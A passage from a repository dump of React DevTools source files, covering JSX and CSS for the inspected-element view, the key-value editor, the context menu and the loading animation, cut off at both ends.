<SuspendedByGroup\n                key={entries[0].index}\n                name={entries[0].value.awaited.name}\n                environment={entries[0].value.awaited.env}\n                suspendedBy={entries}\n                bridge={bridge}\n                element={element}\n                inspectedElement={inspectedElement}\n                store={store}\n                minTime={minTime}\n                maxTime={maxTime}\n              />\n            ),\n          )}\n      {unknownSuspenders}\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/InspectedElementView.css",
    "content": ".OwnersHeader {\n  font-family: var(--font-family-sans);\n}\n\n.InspectedElement {\n  overflow-x: hidden;\n  overflow-y: auto;\n  font-family: var(--font-family-monospace);\n  font-size: var(--font-size-monospace-normal);\n  line-height: var(--line-height-data);\n}\n\n.InspectedElementSection:not(:empty) {\n  padding: 0.25rem;\n\n  &:not(:last-of-type) {\n    border-bottom: 1px solid var(--color-border);\n  }\n}\n\n.OwnersMetaField {\n  padding-left: 1.25rem;\n  white-space: nowrap;\n  overflow: hidden;\n  text-overflow: ellipsis;\n}\n\n.RenderedBySkeleton {\n  padding-left: 1.25rem;\n}"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/InspectedElementView.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {Fragment, useContext} from 'react';\nimport {BridgeContext, StoreContext} from '../context';\nimport InspectedElementBadges from './InspectedElementBadges';\nimport InspectedElementContextTree from './InspectedElementContextTree';\nimport InspectedElementErrorsAndWarningsTree from './InspectedElementErrorsAndWarningsTree';\nimport InspectedElementHooksTree from './InspectedElementHooksTree';\nimport InspectedElementPropsTree from './InspectedElementPropsTree';\nimport InspectedElementStateTree from './InspectedElementStateTree';\nimport InspectedElementStyleXPlugin from './InspectedElementStyleXPlugin';\nimport InspectedElementSuspendedBy from './InspectedElementSuspendedBy';\nimport NativeStyleEditor from './NativeStyleEditor';\nimport {enableStyleXFeatures} from 'react-devtools-feature-flags';\nimport InspectedElementSourcePanel from './InspectedElementSourcePanel';\nimport StackTraceView from './StackTraceView';\nimport OwnerView from './OwnerView';\nimport Skeleton from './Skeleton';\nimport {\n  ElementTypeSuspense,\n  ElementTypeActivity,\n} from 'react-devtools-shared/src/frontend/types';\n\nimport styles from './InspectedElementView.css';\n\nimport type {\n  Element,\n  InspectedElement,\n} from 'react-devtools-shared/src/frontend/types';\nimport type {HookNames} from 'react-devtools-shared/src/frontend/types';\nimport type {ToggleParseHookNames} from './InspectedElementContext';\nimport type {SourceMappedLocation} from 'react-devtools-shared/src/symbolicateSource';\n\ntype Props = {\n  element: Element,\n  hookNames: HookNames | null,\n  inspectedElement: InspectedElement,\n  parseHookNames: boolean,\n  toggleParseHookNames: ToggleParseHookNames,\n  symbolicatedSourcePromise: Promise<SourceMappedLocation | null>,\n};\n\nexport default function InspectedElementView({\n  element,\n  hookNames,\n  inspectedElement,\n  parseHookNames,\n  toggleParseHookNames,\n  symbolicatedSourcePromise,\n}: Props): React.Node {\n  const {\n    stack,\n    owners,\n    rendererPackageName,\n    rendererVersion,\n    rootType,\n    source,\n    nativeTag,\n    type,\n  } = inspectedElement;\n\n  const bridge = useContext(BridgeContext);\n  const store = useContext(StoreContext);\n\n  const rendererLabel =\n    rendererPackageName !== null && rendererVersion !== null\n      ? `${rendererPackageName}@${rendererVersion}`\n      : null;\n  const showOwnersList = owners !== null && owners.length > 0;\n  const showStack = stack != null && stack.length > 0;\n  const showRenderedBy =\n    showStack || showOwnersList || rendererLabel !== null || rootType !== null;\n\n  const propsSection = (\n    <div className={styles.InspectedElementSection}>\n      <InspectedElementPropsTree\n        bridge={bridge}\n        element={element}\n        inspectedElement={inspectedElement}\n        store={store}\n      />\n    </div>\n  );\n\n  return (\n    <Fragment>\n      <div className={styles.InspectedElement}>\n        <div className={styles.InspectedElementSection}>\n          <InspectedElementBadges\n            hocDisplayNames={element.hocDisplayNames}\n            compiledWithForget={element.compiledWithForget}\n            nativeTag={nativeTag}\n          />\n        </div>\n\n        {\n          // For Suspense and Activity we show the props further down.\n          type !== ElementTypeSuspense && type !== ElementTypeActivity\n            ? propsSection\n            : null\n        }\n\n        <div className={styles.InspectedElementSection}>\n          <InspectedElementStateTree\n            bridge={bridge}\n            element={element}\n            inspectedElement={inspectedElement}\n            store={store}\n          />\n        </div>\n\n        <div className={styles.InspectedElementSection}>\n          <InspectedElementHooksTree\n            bridge={bridge}\n            element={element}\n            hookNames={hookNames}\n            inspectedElement={inspectedElement}\n            parseHookNames={parseHookNames}\n            store={store}\n            toggleParseHookNames={toggleParseHookNames}\n          />\n        </div>\n\n        <div className={styles.InspectedElementSection}>\n          <InspectedElementContextTree\n            bridge={bridge}\n            element={element}\n            inspectedElement={inspectedElement}\n            store={store}\n          />\n        </div>\n\n        {enableStyleXFeatures && (\n          <div className={styles.InspectedElementSection}>\n            <InspectedElementStyleXPlugin\n              bridge={bridge}\n              element={element}\n              inspectedElement={inspectedElement}\n              store={store}\n            />\n          </div>\n        )}\n\n        <div className={styles.InspectedElementSection}>\n          <InspectedElementErrorsAndWarningsTree\n            bridge={bridge}\n            element={element}\n            inspectedElement={inspectedElement}\n            store={store}\n          />\n        </div>\n\n        <div className={styles.InspectedElementSection}>\n          <NativeStyleEditor />\n        </div>\n\n        <div className={styles.InspectedElementSection}>\n          <InspectedElementSuspendedBy\n            bridge={bridge}\n            element={element}\n            inspectedElement={inspectedElement}\n            store={store}\n          />\n        </div>\n\n        {\n          // For Suspense and Activity we show the props below suspended by to give that more priority.\n          type !== ElementTypeSuspense && type !== ElementTypeActivity\n            ? null\n            : propsSection\n        }\n\n        {showRenderedBy && (\n          <div\n            className={styles.InspectedElementSection}\n            data-testname=\"InspectedElementView-Owners\">\n            <div className={styles.OwnersHeader}>rendered by</div>\n            <React.Suspense\n              fallback={\n                <div className={styles.RenderedBySkeleton}>\n                  <Skeleton height={16} width=\"40%\" />\n                </div>\n              }>\n              {showStack ? <StackTraceView stack={stack} /> : null}\n              {showOwnersList &&\n                owners?.map(owner => (\n                  <Fragment key={owner.id}>\n                    <OwnerView\n                      displayName={owner.displayName || 'Anonymous'}\n                      hocDisplayNames={owner.hocDisplayNames}\n                      environmentName={\n                        inspectedElement.env === owner.env ? null : owner.env\n                      }\n                      compiledWithForget={owner.compiledWithForget}\n                      id={owner.id}\n                      isInStore={store.containsElement(owner.id)}\n                      type={owner.type}\n                    />\n                    {owner.stack != null && owner.stack.length > 0 ? (\n                      <StackTraceView stack={owner.stack} />\n                    ) : null}\n                  </Fragment>\n                ))}\n\n              {rootType !== null && (\n                <div className={styles.OwnersMetaField}>{rootType}</div>\n              )}\n              {rendererLabel !== null && (\n                <div className={styles.OwnersMetaField}>{rendererLabel}</div>\n              )}\n            </React.Suspense>\n          </div>\n        )}\n\n        {source != null && (\n          <div className={styles.InspectedElementSection}>\n            <InspectedElementSourcePanel\n              source={source}\n              symbolicatedSourcePromise={symbolicatedSourcePromise}\n            />\n          </div>\n        )}\n      </div>\n    </Fragment>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/InspectedElementViewSourceButton.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\n\nimport ButtonIcon from '../ButtonIcon';\nimport Button from '../Button';\n\nimport type {ReactFunctionLocation} from 'shared/ReactTypes';\nimport type {SourceMappedLocation} from 'react-devtools-shared/src/symbolicateSource';\n\nimport useOpenResource from '../useOpenResource';\n\ntype Props = {\n  source: null | ReactFunctionLocation,\n  symbolicatedSourcePromise: Promise<SourceMappedLocation | null> | null,\n};\n\nfunction InspectedElementViewSourceButton({\n  source,\n  symbolicatedSourcePromise,\n}: Props): React.Node {\n  return (\n    <React.Suspense\n      fallback={\n        <Button disabled={true} title=\"Loading source maps...\">\n          <ButtonIcon type=\"view-source\" />\n        </Button>\n      }>\n      <ActualSourceButton\n        source={source}\n        symbolicatedSourcePromise={symbolicatedSourcePromise}\n      />\n    </React.Suspense>\n  );\n}\n\ntype ActualSourceButtonProps = {\n  source: null | ReactFunctionLocation,\n  symbolicatedSourcePromise: Promise<SourceMappedLocation | null> | null,\n};\nfunction ActualSourceButton({\n  source,\n  symbolicatedSourcePromise,\n}: ActualSourceButtonProps): React.Node {\n  const symbolicatedSource =\n    symbolicatedSourcePromise == null\n      ? null\n      : React.use(symbolicatedSourcePromise);\n\n  const [buttonIsEnabled, viewSource] = useOpenResource(\n    source,\n    symbolicatedSource == null ? null : symbolicatedSource.location,\n  );\n  return (\n    <Button\n      disabled={!buttonIsEnabled}\n      onClick={viewSource}\n      title=\"View source for this element\">\n      <ButtonIcon type=\"view-source\" />\n    </Button>\n  );\n}\n\nexport default InspectedElementViewSourceButton;\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/KeyValue.css",
    "content": ".Item:not([hidden]) {\n  display: flex;\n}\n\n.Name {\n  color: var(--color-attribute-name-not-editable);\n  flex: 0 0 auto;\n  cursor: default;\n}\n\n.EditableName {\n  color: var(--color-attribute-name);\n  flex: 0 0 auto;\n  cursor: default;\n}\n\n.AfterName {\n  color: var(--color-text);\n  margin-right: 0.5rem;\n}\n\n.Value {\n  color: var(--color-attribute-value);\n  white-space: pre;\n  overflow: hidden;\n  text-overflow: ellipsis;\n  cursor: default;\n  flex: 1;\n}\n\n.Link {\n  color: var(--color-link);\n  white-space: pre;\n  overflow: hidden;\n  text-overflow: ellipsis;\n  flex: 1;\n  cursor: pointer;\n  border-radius: 0.125rem;\n  padding: 0px 2px;\n}\n\n.Link:hover {\n  background-color: var(--color-background-hover);\n}\n\n\n.ExpandCollapseToggleSpacer {\n  flex: 0 0 1rem;\n  width: 1rem;\n}\n\n.DeleteArrayItemButton {\n  padding: 0;\n  margin-right: 0.125rem;\n}\n\n.HookName {\n  color: var(--color-component-name);\n}"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/KeyValue.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {useTransition, useContext, useRef, useState, useMemo} from 'react';\nimport {OptionsContext} from '../context';\nimport EditableName from './EditableName';\nimport EditableValue from './EditableValue';\nimport NewArrayValue from './NewArrayValue';\nimport NewKeyValue from './NewKeyValue';\nimport LoadingAnimation from './LoadingAnimation';\nimport ExpandCollapseToggle from './ExpandCollapseToggle';\nimport {alphaSortEntries, getMetaValueLabel} from '../utils';\nimport {meta} from '../../../hydration';\nimport Store from '../../store';\nimport {parseHookPathForEdit} from './utils';\nimport styles from './KeyValue.css';\nimport Button from 'react-devtools-shared/src/devtools/views/Button';\nimport ButtonIcon from 'react-devtools-shared/src/devtools/views/ButtonIcon';\nimport isArray from 'react-devtools-shared/src/isArray';\nimport {InspectedElementContext} from './InspectedElementContext';\nimport {PROTOCOLS_SUPPORTED_AS_LINKS_IN_KEY_VALUE} from './constants';\nimport KeyValueContextMenuContainer from './KeyValueContextMenuContainer';\nimport {ContextMenuContext} from '../context';\n\nimport type {ContextMenuContextType} from '../context';\nimport type {InspectedElement} from 'react-devtools-shared/src/frontend/types';\nimport type {Element} from 'react-devtools-shared/src/frontend/types';\nimport type {Element as ReactElement} from 'react';\nimport type {FrontendBridge} from 'react-devtools-shared/src/bridge';\n\n// $FlowFixMe[method-unbinding]\nconst hasOwnProperty = Object.prototype.hasOwnProperty;\n\ntype Type = 'props' | 'state' | 'context' | 'hooks';\n\ntype KeyValueProps = {\n  alphaSort: boolean,\n  bridge: FrontendBridge,\n  canDeletePaths: boolean,\n  canEditValues: boolean,\n  canRenamePaths: boolean,\n  canRenamePathsAtDepth?: (depth: number) => boolean,\n  depth: number,\n  element: Element,\n  hidden: boolean,\n  hookID?: ?number,\n  hookName?: ?string,\n  inspectedElement: InspectedElement,\n  isDirectChildOfAnArray?: boolean,\n  name: string,\n  path: Array<any>,\n  pathRoot: Type,\n  store: Store,\n  value: any,\n};\n\nexport default function KeyValue({\n  alphaSort,\n  bridge,\n  canDeletePaths,\n  canEditValues,\n  canRenamePaths,\n  canRenamePathsAtDepth,\n  depth,\n  element,\n  inspectedElement,\n  isDirectChildOfAnArray,\n  hidden,\n  hookID,\n  hookName,\n  name,\n  path,\n  pathRoot,\n  store,\n  value,\n}: KeyValueProps): React.Node {\n  const {readOnly: readOnlyGlobalFlag} = useContext(OptionsContext);\n  canDeletePaths = !readOnlyGlobalFlag && canDeletePaths;\n  canEditValues = !readOnlyGlobalFlag && canEditValues;\n  canRenamePaths = !readOnlyGlobalFlag && canRenamePaths;\n\n  const {id} = inspectedElement;\n  const fullPath = useMemo(() => [pathRoot, ...path], [pathRoot, path]);\n\n  const [isOpen, setIsOpen] = useState<boolean>(false);\n  const contextMenuTriggerRef = useRef(null);\n\n  const {inspectPaths} = useContext(InspectedElementContext);\n  const {viewAttributeSourceFunction} =\n    useContext<ContextMenuContextType>(ContextMenuContext);\n\n  let isInspectable = false;\n  let isReadOnlyBasedOnMetadata = false;\n  if (value !== null && typeof value === 'object') {\n    isInspectable = value[meta.inspectable] && value[meta.size] !== 0;\n    isReadOnlyBasedOnMetadata = value[meta.readonly];\n  }\n\n  const [isInspectPathsPending, startInspectPathsTransition] = useTransition();\n  const toggleIsOpen = () => {\n    if (isOpen) {\n      setIsOpen(false);\n    } else {\n      setIsOpen(true);\n\n      if (isInspectable) {\n        startInspectPathsTransition(() => {\n          inspectPaths([pathRoot, ...path]);\n        });\n      }\n    }\n  };\n\n  const dataType = typeof value;\n  const isSimpleType =\n    dataType === 'number' ||\n    dataType === 'string' ||\n    dataType === 'boolean' ||\n    value == null;\n\n  const pathType =\n    value !== null &&\n    typeof value === 'object' &&\n    hasOwnProperty.call(value, meta.type)\n      ? value[meta.type]\n      : typeof value;\n  const pathIsFunction = pathType === 'function';\n\n  const style = {\n    paddingLeft: `${(depth - 1) * 0.75}rem`,\n  };\n\n  const overrideValue = (newPath: Array<string | number>, newValue: any) => {\n    if (hookID != null) {\n      newPath = parseHookPathForEdit(newPath);\n    }\n\n    const rendererID = store.getRendererIDForElement(id);\n    if (rendererID !== null) {\n      bridge.send('overrideValueAtPath', {\n        hookID,\n        id,\n        path: newPath,\n        rendererID,\n        type: pathRoot,\n        value: newValue,\n      });\n    }\n  };\n\n  const deletePath = (pathToDelete: Array<string | number>) => {\n    if (hookID != null) {\n      pathToDelete = parseHookPathForEdit(pathToDelete);\n    }\n\n    const rendererID = store.getRendererIDForElement(id);\n    if (rendererID !== null) {\n      bridge.send('deletePath', {\n        hookID,\n        id,\n        path: pathToDelete,\n        rendererID,\n        type: pathRoot,\n      });\n    }\n  };\n\n  const renamePath = (\n    oldPath: Array<string | number>,\n    newPath: Array<string | number>,\n  ) => {\n    if (newPath[newPath.length - 1] === '') {\n      // Deleting the key suggests an intent to delete the whole path.\n      if (canDeletePaths) {\n        deletePath(oldPath);\n      }\n    } else {\n      if (hookID != null) {\n        oldPath = parseHookPathForEdit(oldPath);\n        newPath = parseHookPathForEdit(newPath);\n      }\n\n      const rendererID = store.getRendererIDForElement(id);\n      if (rendererID !== null) {\n        bridge.send('renamePath', {\n          hookID,\n          id,\n          newPath,\n          oldPath,\n          rendererID,\n          type: pathRoot,\n        });\n      }\n    }\n  };\n\n  // TRICKY This is a bit of a hack to account for context and hooks.\n  // In these cases, paths can be renamed but only at certain depths.\n  // The special \"value\" wrapper for context shouldn't be editable.\n  // Only certain types of hooks should be editable.\n  let canRenameTheCurrentPath = canRenamePaths;\n  if (canRenameTheCurrentPath && typeof canRenamePathsAtDepth === 'function') {\n    canRenameTheCurrentPath = canRenamePathsAtDepth(depth);\n  }\n\n  const hasChildren =\n    typeof value === 'object' &&\n    value !== null &&\n    (canEditValues ||\n      (isArray(value) && value.length > 0) ||\n      Object.entries(value).length > 0);\n\n  let renderedName;\n  if (isDirectChildOfAnArray) {\n    if (canDeletePaths) {\n      renderedName = (\n        <DeleteToggle name={name} deletePath={deletePath} path={path} />\n      );\n    } else {\n      renderedName = (\n        <span\n          className={styles.Name}\n          onClick={isInspectable || hasChildren ? toggleIsOpen : null}>\n          {name}\n          {!!hookName && <span className={styles.HookName}>({hookName})</span>}\n          <span className={styles.AfterName}>:</span>\n        </span>\n      );\n    }\n  } else if (canRenameTheCurrentPath) {\n    renderedName = (\n      <>\n        <EditableName\n          allowEmpty={canDeletePaths}\n          className={styles.EditableName}\n          initialValue={name}\n          overrideName={renamePath}\n          path={path}\n        />\n        <span className={styles.AfterName}>:</span>\n      </>\n    );\n  } else {\n    renderedName = (\n      <span\n        className={styles.Name}\n        data-testname=\"NonEditableName\"\n        onClick={isInspectable || hasChildren ? toggleIsOpen : null}>\n        {name}\n        {!!hookName && <span className={styles.HookName}>({hookName})</span>}\n        <span className={styles.AfterName}>:</span>\n      </span>\n    );\n  }\n\n  let children = null;\n  if (isSimpleType) {\n    let displayValue = value;\n    if (dataType === 'string') {\n      displayValue = `\"${value}\"`;\n    } else if (dataType === 'boolean') {\n      displayValue = value ? 'true' : 'false';\n    } else if (value === null) {\n      displayValue = 'null';\n    } else if (value === undefined) {\n      displayValue = 'undefined';\n    } else if (isNaN(value)) {\n      displayValue = 'NaN';\n    }\n\n    let shouldDisplayValueAsLink = false;\n    if (\n      dataType === 'string' &&\n      PROTOCOLS_SUPPORTED_AS_LINKS_IN_KEY_VALUE.some(protocolPrefix =>\n        value.startsWith(protocolPrefix),\n      )\n    ) {\n      shouldDisplayValueAsLink = true;\n    }\n\n    children = (\n      <KeyValueContextMenuContainer\n        key=\"root\"\n        anchorElementRef={contextMenuTriggerRef}\n        attributeSourceCanBeInspected={false}\n        canBeCopiedToClipboard={true}\n        store={store}\n        bridge={bridge}\n        id={id}\n        path={fullPath}>\n        <div\n          data-testname=\"KeyValue\"\n          className={styles.Item}\n          hidden={hidden}\n          ref={contextMenuTriggerRef}\n          style={style}>\n          <div className={styles.ExpandCollapseToggleSpacer} />\n          {renderedName}\n          {canEditValues ? (\n            <EditableValue\n              overrideValue={overrideValue}\n              path={path}\n              value={value}\n            />\n          ) : shouldDisplayValueAsLink ? (\n            <a\n              className={styles.Link}\n              href={value}\n              target=\"_blank\"\n              rel=\"noopener noreferrer\">\n              {displayValue}\n            </a>\n          ) : (\n            <span className={styles.Value} data-testname=\"NonEditableValue\">\n              {displayValue}\n            </span>\n          )}\n        </div>\n      </KeyValueContextMenuContainer>\n    );\n  } else if (pathIsFunction && viewAttributeSourceFunction != null) {\n    children = (\n      <KeyValueContextMenuContainer\n        key=\"root\"\n        anchorElementRef={contextMenuTriggerRef}\n        attributeSourceCanBeInspected={true}\n        canBeCopiedToClipboard={false}\n        store={store}\n        bridge={bridge}\n        id={id}\n        path={fullPath}>\n        <div\n          data-testname=\"KeyValue\"\n          className={styles.Item}\n          hidden={hidden}\n          ref={contextMenuTriggerRef}\n          style={style}>\n          <div className={styles.ExpandCollapseToggleSpacer} />\n          {renderedName}\n          <span\n            className={styles.Link}\n            onClick={() => {\n              viewAttributeSourceFunction(id, fullPath);\n            }}>\n            {getMetaValueLabel(value)}\n          </span>\n        </div>\n      </KeyValueContextMenuContainer>\n    );\n  } else if (\n    hasOwnProperty.call(value, meta.type) &&\n    !hasOwnProperty.call(value, meta.unserializable)\n  ) {\n    children = (\n      <KeyValueContextMenuContainer\n        key=\"root\"\n        anchorElementRef={contextMenuTriggerRef}\n        attributeSourceCanBeInspected={false}\n        canBeCopiedToClipboard={true}\n        store={store}\n        bridge={bridge}\n        id={id}\n        path={fullPath}>\n        <div\n          data-testname=\"KeyValue\"\n          className={styles.Item}\n          hidden={hidden}\n          ref={contextMenuTriggerRef}\n          style={style}>\n          {isInspectable ? (\n            <ExpandCollapseToggle isOpen={isOpen} setIsOpen={toggleIsOpen} />\n          ) : (\n            <div className={styles.ExpandCollapseToggleSpacer} />\n          )}\n          {renderedName}\n          <span\n            className={styles.Value}\n            onClick={isInspectable ? toggleIsOpen : undefined}>\n            {getMetaValueLabel(value)}\n          </span>\n        </div>\n      </KeyValueContextMenuContainer>\n    );\n\n    if (isInspectPathsPending) {\n      children = (\n        <>\n          {children}\n          <div className={styles.Item} style={style}>\n            <div className={styles.ExpandCollapseToggleSpacer} />\n            <LoadingAnimation />\n          </div>\n        </>\n      );\n    }\n  } else {\n    if (isArray(value)) {\n      const displayName = getMetaValueLabel(value);\n\n      children = value.map((innerValue, index) => (\n        <KeyValue\n          key={index}\n          alphaSort={alphaSort}\n          bridge={bridge}\n          canDeletePaths={canDeletePaths && !isReadOnlyBasedOnMetadata}\n          canEditValues={canEditValues && !isReadOnlyBasedOnMetadata}\n          canRenamePaths={canRenamePaths && !isReadOnlyBasedOnMetadata}\n          canRenamePathsAtDepth={canRenamePathsAtDepth}\n          depth={depth + 1}\n          element={element}\n          hookID={hookID}\n          inspectedElement={inspectedElement}\n          isDirectChildOfAnArray={true}\n          hidden={hidden || !isOpen}\n          name={index}\n          path={path.concat(index)}\n          pathRoot={pathRoot}\n          store={store}\n          value={value[index]}\n        />\n      ));\n\n      if (canEditValues && !isReadOnlyBasedOnMetadata) {\n        children.push(\n          <NewArrayValue\n            key=\"NewKeyValue\"\n            bridge={bridge}\n            depth={depth + 1}\n            hidden={hidden || !isOpen}\n            hookID={hookID}\n            index={value.length}\n            element={element}\n            inspectedElement={inspectedElement}\n            path={path}\n            store={store}\n            type={pathRoot}\n          />,\n        );\n      }\n\n      children.unshift(\n        <KeyValueContextMenuContainer\n          key={`${depth}-root`}\n          anchorElementRef={contextMenuTriggerRef}\n          attributeSourceCanBeInspected={pathIsFunction}\n          canBeCopiedToClipboard={!pathIsFunction}\n          store={store}\n          bridge={bridge}\n          id={id}\n          path={fullPath}>\n          <div\n            data-testname=\"KeyValue\"\n            className={styles.Item}\n            hidden={hidden}\n            ref={contextMenuTriggerRef}\n            style={style}>\n            {hasChildren ? (\n              <ExpandCollapseToggle isOpen={isOpen} setIsOpen={toggleIsOpen} />\n            ) : (\n              <div className={styles.ExpandCollapseToggleSpacer} />\n            )}\n            {renderedName}\n            <span\n              className={styles.Value}\n              onClick={hasChildren ? toggleIsOpen : undefined}>\n              {displayName}\n            </span>\n          </div>\n        </KeyValueContextMenuContainer>,\n      );\n    } else {\n      // TRICKY\n      // It's important to use Object.entries() rather than Object.keys()\n      // because of the hidden meta Symbols used for hydration and unserializable values.\n      const entries = Object.entries(value);\n      if (alphaSort) {\n        entries.sort(alphaSortEntries);\n      }\n\n      const displayName = getMetaValueLabel(value);\n\n      children = entries.map(([key, keyValue]): ReactElement<any> => (\n        <KeyValue\n          key={key}\n          alphaSort={alphaSort}\n          bridge={bridge}\n          canDeletePaths={canDeletePaths && !isReadOnlyBasedOnMetadata}\n          canEditValues={canEditValues && !isReadOnlyBasedOnMetadata}\n          canRenamePaths={canRenamePaths && !isReadOnlyBasedOnMetadata}\n          canRenamePathsAtDepth={canRenamePathsAtDepth}\n          depth={depth + 1}\n          element={element}\n          hookID={hookID}\n          inspectedElement={inspectedElement}\n          hidden={hidden || !isOpen}\n          name={key}\n          path={path.concat(key)}\n          pathRoot={pathRoot}\n          store={store}\n          value={keyValue}\n        />\n      ));\n\n      if (canEditValues && !isReadOnlyBasedOnMetadata) {\n        children.push(\n          <NewKeyValue\n            key=\"NewKeyValue\"\n            bridge={bridge}\n            depth={depth + 1}\n            element={element}\n            hidden={hidden || !isOpen}\n            hookID={hookID}\n            inspectedElement={inspectedElement}\n            path={path}\n            store={store}\n            type={pathRoot}\n          />,\n        );\n      }\n\n      children.unshift(\n        <KeyValueContextMenuContainer\n          key={`${depth}-root`}\n          anchorElementRef={contextMenuTriggerRef}\n          attributeSourceCanBeInspected={pathIsFunction}\n          canBeCopiedToClipboard={!pathIsFunction}\n          store={store}\n          bridge={bridge}\n          id={id}\n          path={fullPath}>\n          <div\n            data-testname=\"KeyValue\"\n            className={styles.Item}\n            hidden={hidden}\n            ref={contextMenuTriggerRef}\n            style={style}>\n            {hasChildren ? (\n              <ExpandCollapseToggle isOpen={isOpen} setIsOpen={toggleIsOpen} />\n            ) : (\n              <div className={styles.ExpandCollapseToggleSpacer} />\n            )}\n            {renderedName}\n            <span\n              className={styles.Value}\n              onClick={hasChildren ? toggleIsOpen : undefined}>\n              {displayName}\n            </span>\n          </div>\n        </KeyValueContextMenuContainer>,\n      );\n    }\n  }\n\n  return children;\n}\n\n// $FlowFixMe[missing-local-annot]\nfunction DeleteToggle({deletePath, name, path}) {\n  // $FlowFixMe[missing-local-annot]\n  const handleClick = event => {\n    event.stopPropagation();\n    deletePath(path);\n  };\n\n  return (\n    <>\n      <Button\n        className={styles.DeleteArrayItemButton}\n        onClick={handleClick}\n        title=\"Delete entry\">\n        <ButtonIcon type=\"delete\" />\n      </Button>\n      <span className={styles.Name}>\n        {name}\n        <span className={styles.AfterName}>:</span>\n      </span>\n    </>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/KeyValueContextMenuContainer.css",
    "content": ".ContextMenuItemContent {\n  display: flex;\n  flex-direction: row;\n  align-items: center;\n  gap: 0.5rem;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/KeyValueContextMenuContainer.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {useContext} from 'react';\n\nimport {ContextMenuContext} from '../context';\nimport {\n  copyInspectedElementPath as copyInspectedElementPathAPI,\n  storeAsGlobal as storeAsGlobalAPI,\n} from '../../../backendAPI';\nimport Icon from '../Icon';\nimport ContextMenuContainer from '../../ContextMenu/ContextMenuContainer';\n\nimport type Store from 'react-devtools-shared/src/devtools/store';\nimport type {FrontendBridge} from 'react-devtools-shared/src/bridge';\nimport type {ContextMenuContextType} from '../context';\n\nimport styles from './KeyValueContextMenuContainer.css';\n\ntype Props = {\n  children: React.Node,\n  anchorElementRef: {\n    current: React.ElementRef<any> | null,\n  },\n  store: Store,\n  attributeSourceCanBeInspected: boolean,\n  bridge: FrontendBridge,\n  id: number,\n  path: Array<any>,\n  canBeCopiedToClipboard: boolean,\n};\n\nexport default function KeyValueContextMenuContainer({\n  children,\n  anchorElementRef,\n  store,\n  attributeSourceCanBeInspected,\n  bridge,\n  id,\n  path,\n  canBeCopiedToClipboard,\n}: Props): React.Node {\n  const {\n    isEnabledForInspectedElement: isContextMenuEnabledForInspectedElement,\n    viewAttributeSourceFunction,\n  } = useContext<ContextMenuContextType>(ContextMenuContext);\n\n  const menuItems = React.useMemo(() => {\n    const items = [\n      {\n        onClick: () => {\n          const rendererID = store.getRendererIDForElement(id);\n          if (rendererID !== null) {\n            storeAsGlobalAPI({\n              bridge,\n              id,\n              path,\n              rendererID,\n            });\n          }\n        },\n        content: (\n          <span className={styles.ContextMenuItemContent}>\n            <Icon type=\"store-as-global-variable\" />\n            <label>Store as global variable</label>\n          </span>\n        ),\n      },\n    ];\n\n    if (canBeCopiedToClipboard) {\n      items.unshift({\n        onClick: () => {\n          const rendererID = store.getRendererIDForElement(id);\n          if (rendererID !== null) {\n            copyInspectedElementPathAPI({\n              bridge,\n              id,\n              path,\n              rendererID,\n            });\n          }\n        },\n        content: (\n          <span className={styles.ContextMenuItemContent}>\n            <Icon type=\"copy\" />\n            <label>Copy value to clipboard</label>\n          </span>\n        ),\n      });\n    }\n\n    if (viewAttributeSourceFunction != null && attributeSourceCanBeInspected) {\n      items.push({\n        onClick: () => viewAttributeSourceFunction(id, path),\n        content: (\n          <span className={styles.ContextMenuItemContent}>\n            <Icon type=\"code\" />\n            <label>Go to definition</label>\n          </span>\n        ),\n      });\n    }\n    return items;\n  }, [\n    store,\n    viewAttributeSourceFunction,\n    attributeSourceCanBeInspected,\n    canBeCopiedToClipboard,\n    bridge,\n    id,\n    path,\n  ]);\n\n  if (!isContextMenuEnabledForInspectedElement) {\n    return children;\n  }\n\n  return (\n    <>\n      {children}\n      <ContextMenuContainer\n        anchorElementRef={anchorElementRef}\n        items={menuItems}\n      />\n    </>\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/LoadingAnimation.css",
    "content": ".Icon {\n  width: 1rem;\n  height: 1rem;\n  fill: currentColor;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Components/LoadingAnimation.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport styles from './LoadingAnimation.css';\n\ntype Props = {\n  className?: string,\n};\n\nexport default function LoadingAnimation({className = ''}: Props): React.Node {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      className={`${styles.Icon} ${className}`}\n      width=\"24\"\n      height=\"24\"\n      viewBox=\"0 0 100 100\">\n      <path d=\"M0 0h100v100H0z\" fill=\"none\" />\n      <circle fill=\"currentColor\" stroke=\"none\" cx=\"20\" cy=\"50\" r=\"10\">\n        <animate\n          attributeName=\"opacity\"\n          dur=\"1s\"\n          values=\"0;1;0\"\n          repeatCount=\"indefinite\"\n          begin=\"0.1\"\n        />\n      </circle>\n      <circle fill=\"currentColor\" stroke=\"none\" cx=\"50\" cy=\"50\" r=\"10\">\n        <animate\n          attributeName=\"opacity\"\n          dur=\"1s\"\n          values=\"0;1;0\"\n   